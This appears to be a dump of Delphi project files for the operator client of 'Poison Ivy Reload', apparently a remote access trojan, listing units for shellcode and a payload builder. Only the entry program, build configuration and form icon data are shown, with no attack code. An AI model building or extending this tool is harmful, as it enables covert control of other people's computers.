[
  {
    "path": "Client/Client.dpr",
    "content": "program Client;\n\nuses\n  Vcl.Forms,\n  FormMain in 'FormMain.pas' {MainForm},\n  UnitClientContext in 'UnitClientContext.pas',\n  UnitGlobal in 'UnitGlobal.pas',\n  UnitRC4 in 'UnitRC4.pas',\n  UnitCompress in 'UnitCompress.pas',\n  SimpleMsgPack in 'SimpleMsgPack.pas',\n  UnitShellCodes in 'UnitShellCodes.pas',\n  UnitCountryInfo in 'UnitCountryInfo.pas',\n  UnitCommon in 'UnitCommon.pas',\n  UnitFormDns in 'UnitFormDns.pas' {DnsForm},\n  UnitBuilder in 'UnitBuilder.pas',\n  FormOperate in 'FormOperate.pas' {OperateForm};\n\n{$R *.res}\n\nbegin\n  Application.Initialize;\n  Application.MainFormOnTaskbar := True;\n  Application.CreateForm(TMainForm, MainForm);\n  Application.CreateForm(TDnsForm, DnsForm);\n  Application.Run;\nend.\n"
  },
  {
    "path": "Client/Client.dproj",
    "content": "﻿<Project xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n    <PropertyGroup>\n        <ProjectGuid>{F6DCBBE4-90FC-43E1-8FE7-B3672DD4BEE9}</ProjectGuid>\n        <ProjectVersion>17.2</ProjectVersion>\n        <FrameworkType>VCL</FrameworkType>\n        <MainSource>Client.dpr</MainSource>\n        <Base>True</Base>\n        <Config Condition=\"'$(Config)'==''\">Release</Config>\n        <Platform Condition=\"'$(Platform)'==''\">Win32</Platform>\n        <TargetedPlatforms>1</TargetedPlatforms>\n        <AppType>Application</AppType>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Config)'=='Base' or '$(Base)'!=''\">\n        <Base>true</Base>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"('$(Platform)'=='Win32' and '$(Base)'=='true') or '$(Base_Win32)'!=''\">\n        <Base_Win32>true</Base_Win32>\n        <CfgParent>Base</CfgParent>\n        <Base>true</Base>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"('$(Platform)'=='Win64' and '$(Base)'=='true') or '$(Base_Win64)'!=''\">\n        <Base_Win64>true</Base_Win64>\n        <CfgParent>Base</CfgParent>\n        <Base>true</Base>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Config)'=='Debug' or '$(Cfg_1)'!=''\">\n        <Cfg_1>true</Cfg_1>\n        <CfgParent>Base</CfgParent>\n        <Base>true</Base>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"('$(Platform)'=='Win32' and '$(Cfg_1)'=='true') or '$(Cfg_1_Win32)'!=''\">\n        <Cfg_1_Win32>true</Cfg_1_Win32>\n        <CfgParent>Cfg_1</CfgParent>\n        <Cfg_1>true</Cfg_1>\n        <Base>true</Base>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Config)'=='Release' or '$(Cfg_2)'!=''\">\n        <Cfg_2>true</Cfg_2>\n        <CfgParent>Base</CfgParent>\n        <Base>true</Base>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"('$(Platform)'=='Win32' and '$(Cfg_2)'=='true') or '$(Cfg_2_Win32)'!=''\">\n        <Cfg_2_Win32>true</Cfg_2_Win32>\n        <CfgParent>Cfg_2</CfgParent>\n        <Cfg_2>true</Cfg_2>\n        <Base>true</Base>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Base)'!=''\">\n        <DCC_Namespace>System;Xml;Data;Datasnap;Web;Soap;Vcl;Vcl.Imaging;Vcl.Touch;Vcl.Samples;Vcl.Shell;$(DCC_Namespace)</DCC_Namespace>\n        <SanitizedProjectName>Client</SanitizedProjectName>\n        <Icon_MainIcon>$(BDS)\\bin\\delphi_PROJECTICON.ico</Icon_MainIcon>\n        <DCC_DcuOutput>.\\$(Platform)\\$(Config)</DCC_DcuOutput>\n        <DCC_ExeOutput>.\\$(Platform)\\$(Config)</DCC_ExeOutput>\n        <DCC_E>false</DCC_E>\n        <DCC_N>false</DCC_N>\n        <DCC_S>false</DCC_S>\n        <DCC_F>false</DCC_F>\n        <DCC_K>false</DCC_K>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Base_Win32)'!=''\">\n        <Manifest_File>$(BDS)\\bin\\default_app.manifest</Manifest_File>\n        <DCC_UsePackage>FireDACTDataDriver;FireDACSqliteDriver;FireDACDSDriver;DBXSqliteDriver;FireDACPgDriver;fmx;IndySystem;TeeDB;tethering;vclib;DBXInterBaseDriver;DataSnapClient;DataSnapCommon;DataSnapServer;DataSnapProviderClient;DBXSybaseASEDriver;DbxCommonDriver;vclimg;dbxcds;DatasnapConnectorsFreePascal;appanalytics;vcldb;vcldsnap;fmxFireDAC;DBXDb2Driver;DBXOracleDriver;CustomIPTransport;vclribbon;dsnap;IndyIPServer;fmxase;vcl;IndyCore;DBXMSSQLDriver;CloudService;IndyIPCommon;FmxTeeUI;FireDACIBDriver;DataSnapFireDAC;FireDACDBXDriver;soapserver;inetdbxpress;dsnapxml;FireDACInfxDriver;FireDACDb2Driver;adortl;FireDACASADriver;bindcompfmx;FireDACODBCDriver;RESTBackendComponents;emsclientfiredac;rtl;dbrtl;DbxClientDriver;FireDACCommon;bindcomp;inetdb;Tee;DBXOdbcDriver;ibmonitor;vclFireDAC;xmlrtl;DataSnapNativeClient;ibxpress;svnui;IndyProtocols;DBXMySQLDriver;FireDACCommonDriver;bindcompdbx;bindengine;vclactnband;FMXTee;soaprtl;TeeUI;bindcompvcl;vclie;FireDACADSDriver;vcltouch;emsclient;VCLRESTComponents;FireDAC;DBXInformixDriver;FireDACMSSQLDriver;Intraweb;VclSmp;DataSnapConnectors;DataSnapServerMidas;DBXFirebirdDriver;dsnapcon;inet;fmxobj;FireDACMySQLDriver;soapmidas;vclx;svn;DBXSybaseASADriver;FireDACOracleDriver;fmxdae;RESTComponents;VirtualTreesR;CoolTrayIcon;dbexpress;FireDACMSAccDriver;DataSnapIndy10ServerTransport;IndyIPClient;$(DCC_UsePackage)</DCC_UsePackage>\n        <VerInfo_IncludeVerInfo>true</VerInfo_IncludeVerInfo>\n        <DCC_Namespace>Winapi;System.Win;Data.Win;Datasnap.Win;Web.Win;Soap.Win;Xml.Win;Bde;$(DCC_Namespace)</DCC_Namespace>\n        <VerInfo_Locale>1033</VerInfo_Locale>\n        <VerInfo_Keys>CompanyName=;FileDescription=;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments=</VerInfo_Keys>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Base_Win64)'!=''\">\n        <DCC_UsePackage>FireDACTDataDriver;FireDACSqliteDriver;FireDACDSDriver;DBXSqliteDriver;FireDACPgDriver;fmx;IndySystem;TeeDB;tethering;vclib;DBXInterBaseDriver;DataSnapClient;DataSnapCommon;DataSnapServer;DataSnapProviderClient;DBXSybaseASEDriver;DbxCommonDriver;vclimg;dbxcds;DatasnapConnectorsFreePascal;appanalytics;vcldb;vcldsnap;fmxFireDAC;DBXDb2Driver;DBXOracleDriver;CustomIPTransport;vclribbon;dsnap;IndyIPServer;fmxase;vcl;IndyCore;DBXMSSQLDriver;CloudService;IndyIPCommon;FmxTeeUI;FireDACIBDriver;DataSnapFireDAC;FireDACDBXDriver;soapserver;inetdbxpress;dsnapxml;FireDACInfxDriver;FireDACDb2Driver;adortl;FireDACASADriver;bindcompfmx;FireDACODBCDriver;RESTBackendComponents;emsclientfiredac;rtl;dbrtl;DbxClientDriver;FireDACCommon;bindcomp;inetdb;Tee;DBXOdbcDriver;ibmonitor;vclFireDAC;xmlrtl;DataSnapNativeClient;ibxpress;IndyProtocols;DBXMySQLDriver;FireDACCommonDriver;bindcompdbx;bindengine;vclactnband;FMXTee;soaprtl;TeeUI;bindcompvcl;vclie;FireDACADSDriver;vcltouch;emsclient;VCLRESTComponents;FireDAC;DBXInformixDriver;FireDACMSSQLDriver;Intraweb;VclSmp;DataSnapConnectors;DataSnapServerMidas;DBXFirebirdDriver;dsnapcon;inet;fmxobj;FireDACMySQLDriver;soapmidas;vclx;DBXSybaseASADriver;FireDACOracleDriver;fmxdae;RESTComponents;VirtualTreesR;dbexpress;FireDACMSAccDriver;DataSnapIndy10ServerTransport;IndyIPClient;$(DCC_UsePackage)</DCC_UsePackage>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Cfg_1)'!=''\">\n        <DCC_Define>DEBUG;$(DCC_Define)</DCC_Define>\n        <DCC_DebugDCUs>true</DCC_DebugDCUs>\n        <DCC_Optimize>false</DCC_Optimize>\n        <DCC_GenerateStackFrames>true</DCC_GenerateStackFrames>\n        <DCC_DebugInfoInExe>true</DCC_DebugInfoInExe>\n        <DCC_RemoteDebug>true</DCC_RemoteDebug>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Cfg_1_Win32)'!=''\">\n        <VerInfo_IncludeVerInfo>true</VerInfo_IncludeVerInfo>\n        <VerInfo_Locale>1033</VerInfo_Locale>\n        <Icon_MainIcon>Client_Icon.ico</Icon_MainIcon>\n        <DCC_RemoteDebug>false</DCC_RemoteDebug>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Cfg_2)'!=''\">\n        <DCC_LocalDebugSymbols>false</DCC_LocalDebugSymbols>\n        <DCC_Define>RELEASE;$(DCC_Define)</DCC_Define>\n        <DCC_SymbolReferenceInfo>0</DCC_SymbolReferenceInfo>\n        <DCC_DebugInformation>0</DCC_DebugInformation>\n    </PropertyGroup>\n    <PropertyGroup Condition=\"'$(Cfg_2_Win32)'!=''\">\n        <VerInfo_Locale>1033</VerInfo_Locale>\n        <Icon_MainIcon>Client_Icon1.ico</Icon_MainIcon>\n        <Manifest_File>None</Manifest_File>\n        <VerInfo_IncludeVerInfo>true</VerInfo_IncludeVerInfo>\n        <VerInfo_Keys>CompanyName=;FileDescription=Poison Ivy Reload;FileVersion=1.0.0.0;InternalName=;LegalCopyright=;LegalTrademarks=;OriginalFilename=;ProductName=;ProductVersion=1.0.0.0;Comments=</VerInfo_Keys>\n    </PropertyGroup>\n    <ItemGroup>\n        <DelphiCompile Include=\"$(MainSource)\">\n            <MainSource>MainSource</MainSource>\n        </DelphiCompile>\n        <DCCReference Include=\"FormMain.pas\">\n            <Form>MainForm</Form>\n            <FormType>dfm</FormType>\n        </DCCReference>\n        <DCCReference Include=\"UnitClientContext.pas\"/>\n        <DCCReference Include=\"UnitGlobal.pas\"/>\n        <DCCReference Include=\"UnitRC4.pas\"/>\n        <DCCReference Include=\"UnitCompress.pas\"/>\n        <DCCReference Include=\"SimpleMsgPack.pas\"/>\n        <DCCReference Include=\"UnitShellCodes.pas\"/>\n        <DCCReference Include=\"UnitCountryInfo.pas\"/>\n        <DCCReference Include=\"UnitCommon.pas\"/>\n        <DCCReference Include=\"UnitFormDns.pas\">\n            <Form>DnsForm</Form>\n            <FormType>dfm</FormType>\n        </DCCReference>\n        <DCCReference Include=\"UnitBuilder.pas\"/>\n        <DCCReference Include=\"FormOperate.pas\">\n            <Form>OperateForm</Form>\n            <FormType>dfm</FormType>\n        </DCCReference>\n        <BuildConfiguration Include=\"Release\">\n            <Key>Cfg_2</Key>\n            <CfgParent>Base</CfgParent>\n        </BuildConfiguration>\n        <BuildConfiguration Include=\"Base\">\n            <Key>Base</Key>\n        </BuildConfiguration>\n        <BuildConfiguration Include=\"Debug\">\n            <Key>Cfg_1</Key>\n            <CfgParent>Base</CfgParent>\n        </BuildConfiguration>\n    </ItemGroup>\n    <ProjectExtensions>\n        <Borland.Personality>Delphi.Personality.12</Borland.Personality>\n        <Borland.ProjectType>Application</Borland.ProjectType>\n        <BorlandProject>\n            <Delphi.Personality>\n                <Source>\n                    <Source Name=\"MainSource\">Client.dpr</Source>\n                </Source>\n                <Excluded_Packages>\n                    <Excluded_Packages Name=\"$(BDSBIN)\\dcloffice2k220.bpl\">Microsoft Office 2000 Sample Automation Server Wrapper Components</Excluded_Packages>\n                    <Excluded_Packages Name=\"$(BDSBIN)\\dclofficexp220.bpl\">Microsoft Office XP Sample Automation Server Wrapper Components</Excluded_Packages>\n                </Excluded_Packages>\n            </Delphi.Personality>\n            <Deployment Version=\"2\">\n                <DeployFile LocalName=\"Win32\\Debug\\Client.exe\" Configuration=\"Debug\" Class=\"ProjectOutput\">\n                    <Platform Name=\"Win32\">\n                        <RemoteName>Client.exe</RemoteName>\n                        <Overwrite>true</Overwrite>\n                    </Platform>\n                </DeployFile>\n                <DeployFile LocalName=\"Win32\\Release\\Client.exe\" Configuration=\"Release\" Class=\"ProjectOutput\">\n                    <Platform Name=\"Win32\">\n                        <RemoteName>Client.exe</RemoteName>\n                        <Overwrite>true</Overwrite>\n                    </Platform>\n                </DeployFile>\n                <DeployClass Required=\"true\" Name=\"DependencyPackage\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                        <Extensions>.dylib</Extensions>\n                    </Platform>\n                    <Platform Name=\"Win32\">\n                        <Operation>0</Operation>\n                        <Extensions>.bpl</Extensions>\n                    </Platform>\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents\\MacOS</RemoteDir>\n                        <Operation>1</Operation>\n                        <Extensions>.dylib</Extensions>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                        <Extensions>.dylib</Extensions>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                        <Extensions>.dylib</Extensions>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"DependencyModule\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                        <Extensions>.dylib</Extensions>\n                    </Platform>\n                    <Platform Name=\"Win32\">\n                        <Operation>0</Operation>\n                        <Extensions>.dll;.bpl</Extensions>\n                    </Platform>\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents\\MacOS</RemoteDir>\n                        <Operation>1</Operation>\n                        <Extensions>.dylib</Extensions>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                        <Extensions>.dylib</Extensions>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                        <Extensions>.dylib</Extensions>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"iPad_Launch2048\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectOSXInfoPList\">\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectiOSDeviceDebug\">\n                    <Platform Name=\"iOSDevice64\">\n                        <RemoteDir>..\\$(PROJECTNAME).app.dSYM\\Contents\\Resources\\DWARF</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <RemoteDir>..\\$(PROJECTNAME).app.dSYM\\Contents\\Resources\\DWARF</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_SplashImage470\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-normal</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"AndroidLibnativeX86File\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>library\\lib\\x86</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectiOSResource\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectOSXEntitlements\">\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>../</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"AndroidGDBServer\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>library\\lib\\armeabi-v7a</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"iPhone_Launch640\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_SplashImage960\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-xlarge</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_LauncherIcon96\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-xhdpi</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"iPhone_Launch320\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_LauncherIcon144\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-xxhdpi</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"AndroidLibnativeMipsFile\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>library\\lib\\mips</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"AndroidSplashImageDef\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"DebugSymbols\">\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents\\MacOS</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"Win32\">\n                        <Operation>0</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"DependencyFramework\">\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents\\MacOS</RemoteDir>\n                        <Operation>1</Operation>\n                        <Extensions>.framework</Extensions>\n                    </Platform>\n                    <Platform Name=\"Win32\">\n                        <Operation>0</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_SplashImage426\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-small</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectiOSEntitlements\">\n                    <Platform Name=\"iOSDevice64\">\n                        <RemoteDir>../</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <RemoteDir>../</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"AdditionalDebugSymbols\">\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents\\MacOS</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"Win32\">\n                        <RemoteDir>Contents\\MacOS</RemoteDir>\n                        <Operation>0</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"AndroidClassesDexFile\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>classes</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectiOSInfoPList\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"iPad_Launch1024\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_DefaultAppIcon\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectOSXResource\">\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents\\Resources</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectiOSDeviceResourceRules\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"iPad_Launch768\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Required=\"true\" Name=\"ProjectOutput\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>library\\lib\\armeabi-v7a</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"Win32\">\n                        <Operation>0</Operation>\n                    </Platform>\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents\\MacOS</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"AndroidLibnativeArmeabiFile\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>library\\lib\\armeabi</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_SplashImage640\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-large</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"File\">\n                    <Platform Name=\"Android\">\n                        <Operation>0</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>0</Operation>\n                    </Platform>\n                    <Platform Name=\"Win32\">\n                        <Operation>0</Operation>\n                    </Platform>\n                    <Platform Name=\"OSX32\">\n                        <RemoteDir>Contents\\MacOS</RemoteDir>\n                        <Operation>0</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>0</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>0</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"iPhone_Launch640x1136\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_LauncherIcon36\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-ldpi</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"AndroidSplashStyles\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\values</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"iPad_Launch1536\">\n                    <Platform Name=\"iOSDevice64\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSSimulator\">\n                        <Operation>1</Operation>\n                    </Platform>\n                    <Platform Name=\"iOSDevice32\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_LauncherIcon48\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-mdpi</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"Android_LauncherIcon72\">\n                    <Platform Name=\"Android\">\n                        <RemoteDir>res\\drawable-hdpi</RemoteDir>\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <DeployClass Name=\"ProjectAndroidManifest\">\n                    <Platform Name=\"Android\">\n                        <Operation>1</Operation>\n                    </Platform>\n                </DeployClass>\n                <ProjectRoot Platform=\"Win64\" Name=\"$(PROJECTNAME)\"/>\n                <ProjectRoot Platform=\"Android\" Name=\"$(PROJECTNAME)\"/>\n                <ProjectRoot Platform=\"Win32\" Name=\"$(PROJECTNAME)\"/>\n                <ProjectRoot Platform=\"iOSDevice64\" Name=\"$(PROJECTNAME).app\"/>\n                <ProjectRoot Platform=\"OSX32\" Name=\"$(PROJECTNAME).app\"/>\n                <ProjectRoot Platform=\"iOSSimulator\" Name=\"$(PROJECTNAME).app\"/>\n                <ProjectRoot Platform=\"iOSDevice32\" Name=\"$(PROJECTNAME).app\"/>\n            </Deployment>\n            <Platforms>\n                <Platform value=\"Win32\">True</Platform>\n                <Platform value=\"Win64\">False</Platform>\n            </Platforms>\n        </BorlandProject>\n        <ProjectFileVersion>12</ProjectFileVersion>\n    </ProjectExtensions>\n    <Import Project=\"$(BDS)\\Bin\\CodeGear.Delphi.Targets\" Condition=\"Exists('$(BDS)\\Bin\\CodeGear.Delphi.Targets')\"/>\n    <Import Project=\"$(APPDATA)\\Embarcadero\\$(BDSAPPDATABASEDIR)\\$(PRODUCTVERSION)\\UserTools.proj\" Condition=\"Exists('$(APPDATA)\\Embarcadero\\$(BDSAPPDATABASEDIR)\\$(PRODUCTVERSION)\\UserTools.proj')\"/>\n    <Import Project=\"$(MSBuildProjectName).deployproj\" Condition=\"Exists('$(MSBuildProjectName).deployproj')\"/>\n</Project>\n"
  },
  {
    "path": "Client/FormMain.dfm",
    "content": "object MainForm: TMainForm\n  Left = 0\n  Top = 0\n  ActiveControl = PageControl_Main\n  Caption = 'Poison Ivy Reload'\n  ClientHeight = 587\n  ClientWidth = 967\n  Color = clBtnFace\n  Constraints.MinHeight = 180\n  Constraints.MinWidth = 558\n  Font.Charset = DEFAULT_CHARSET\n  Font.Color = clWindowText\n  Font.Height = -11\n  Font.Name = 'Tahoma'\n  Font.Style = []\n  Icon.Data = {\n    0000010001003030000001000000A82500001600000028000000300000006000\n    0000010020000000000080250000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000313131032929297D4646\n    462D000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000000000000000000000000000002F2F2F08353535F73D3D\n    3DE9454545590000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000282828776464\n    64FE3F3F3FFB3F3F3F2F00000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000000000003F3F3F043030\n    30964E4E4EFC292929CD33333307000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00002E2E2E8B494949FF2828289C000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000033333303202020973B3B3BFE202020620000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000001515152817171710000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000003333330B262626BE363636FC2929295B00000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000000000000000000000000000002323230C1E1E1E611F1F\n    1FAC171717F7202020FF141414AA1D1D1D241B1B1B4E23232371181818891919\n    192B000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    000000000000000000002A2A2A09262626CF353535ED2828283A000000000000\n    